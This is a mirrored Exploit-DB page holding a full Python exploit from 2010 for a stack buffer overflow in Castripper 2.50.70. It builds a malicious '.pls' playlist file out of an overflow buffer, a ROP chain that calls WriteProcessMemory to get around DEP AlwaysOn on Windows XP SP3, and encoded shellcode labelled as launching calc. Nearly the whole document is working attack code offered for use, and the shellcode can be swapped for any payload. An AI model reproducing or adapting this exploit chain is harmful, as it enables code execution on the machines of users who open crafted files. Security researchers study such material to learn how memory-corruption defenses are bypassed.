Castripper 2.50.70 – ‘.pls’ File Stack Buffer Overflow (DEP Bypass)

  • 作者: mr_me
    日期: 2010-06-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/13768/
  • #!/usr/bin/python
    #
    # Castripper 2.50.70 (.pls) stack buffer overflow w/ DEP bypass exploit
    # Author: mr_me - https://net-ninja.net - mr_me [AT] corelan.be
    # Download: http://www.mini-stream.net/castripper/ 
    # Tested on Wind0ws XP SP3 /noexecute=alwayson
    # Greetz: Corelan Security Team
    # http://www.corelan.be:8800/index.php/security/corelan-team-members/
    # 
    # DEP AlwaysOn bypass version 
    # All rop gadgets are from the app's dll except for the hardcoded wpm()
    # and the 'XCHG EAX,EBX' which is from ntdll.dll (non aslr). 
    # Thanks again to Sud0 and Lincoln for the motivation, you guys rock
    
    def banner():
    print "|------------------------------------------------------------------|"
    print "| __ __|"
    print "| _________________/ /___ _____ / /________ _____ ___|"
    print "|/ ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
    print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |"
    print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|"
    print "||"
    print "|-------------------------------------------------[ EIP Hunters ]--|"
    print "[+] Castripper 2.50.70 (.pls) stack buffer overflow w/ DEP bypass exploit"
    
    # calc
    sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
    "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
    "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
    "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
    "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
    "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
    "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
    "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
    "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
    "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
    "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
    "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
    "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
    "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
    "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
    "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
    "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
    "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
    "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
    "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
    "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
    "\x51\x42\x4c\x42\x43\x43\x30\x41\x41"); 
    
    crash = "\x41" * 26065
    
    rop = "\x0d\x0e\x01\x10"	# MOV EAX,EDX # POP EDI # RETN						: 0x10010E0D
    rop += "\x41\x41\x41\x41"	# JUNK ---------^^^^
    rop += "\x41\x41\x41\x41"	# JUNK ---------^^^^
    
    # get the shellcode len argv
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    rop += "\x04\x33\x01\x10"	# ADD EAX,-33 # RETN								: 0x10013304
    
    # close your eyes and think of the magic
    rop += "\x27\xd1\x9e\x7c"	# XCHG EAX,EBX # JUNK # POP ESI # POP EBP # RETN 4	: 0x7C9ED127
    rop += "\xff\xff\xff\xff"	# -1 for hProcess
    rop += "\xcf\x22\x80\x7c"	# @ to patch in kernel32.dll						: 0x7C8022CF
    rop += "\xad\x0b\x01\x10"	# POP EDI # RETN 									: 0x10010BAD
    rop += "\x41\x41\x41\x41"	# JUNK --------------------------------------^^^^
    rop += "\x13\xeb\x02\x10"	# CALL EAX # JUNK									: 0x1002EB13
    rop += "\xeb\x87\x01\x10"	# POP EBP # RETN									: 0x100187EB
    rop += "\xcf\x22\x80\x7c"	# @ to patch in kernel32.dll						: 0x7C8022CF
    rop += "\xf7\x43\x02\x10"	# POP EDX # RETN									: 0x100243F7
    rop += "\x44\x9f\x04\x10"	# @ that is writeable 								: 0x10049F44
    rop += "\x19\x53\x02\x10"	# POP EAX # RETN									: 0x10025319
    rop += "\x13\x22\x80\x7c"	# @ of WriteProcessMemory()							: 0x7C802213
    rop += "\xbd\xe3\x01\x10"	# PUSHAD # RETN										: 0x1001E3BD
    
    junk = "\x43" * 1000
    buffer = crash + rop + sc + junk
    banner()
    print "[+] building .pls file.."
    m3ufile = open('cst-tryharder.pls','w')
    m3ufile.write(buffer)
    m3ufile.close()
    print "[+] Done !"